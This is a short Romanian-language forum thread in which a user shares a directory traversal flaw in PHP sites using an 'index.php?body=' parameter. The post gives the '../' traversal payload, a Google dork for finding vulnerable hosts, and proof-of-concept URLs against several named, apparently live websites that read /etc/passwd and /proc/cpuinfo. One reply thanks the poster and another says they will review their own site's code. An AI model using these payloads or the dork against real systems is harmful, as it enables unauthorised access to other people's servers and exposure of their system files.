Apache+PHP directory traversal+rfd

[shinnok]

O mica vulnerabilitate cu care m-am distrat in seara asta:

- "index.php?body=" este partea vulnerabila.

- "../../../../../../../../../../[director]" este ceea ce treb trimis lui body

- "inurl:"index.php?body="" este google dorkul care va ajuta sa gasiti hosturi posibil vulnerabile

- POC:

http://www.exclusivestates.com/index.php?body=../../../../../../../../../../etc/passwd

http://www.waterqualityplan.org/index.php?BODY=../../../../../../../../../../etc/passwd

http://gp2.ro/ini/index.php?body=../../../../../../../../../../etc/passwd

http://gp2.ro/ini/index.php?body=../../../../../../../../../../proc/cpuinfo

http://www.renaissanceink.net/index.php?body=../../../../../../../../../../etc/passwd

http://www.heritagecovenant.org/index.php?body=../../../../../../../../../../etc/passwd

PS:nu stiu de cat timp circula vulnerabilitatea,daca cineva stie sa posteze

[smartkid007]

thank

[indexexplorer]

hmmm... cred ca trebuie sa-mi revizuiesc sursa site-ului...

ms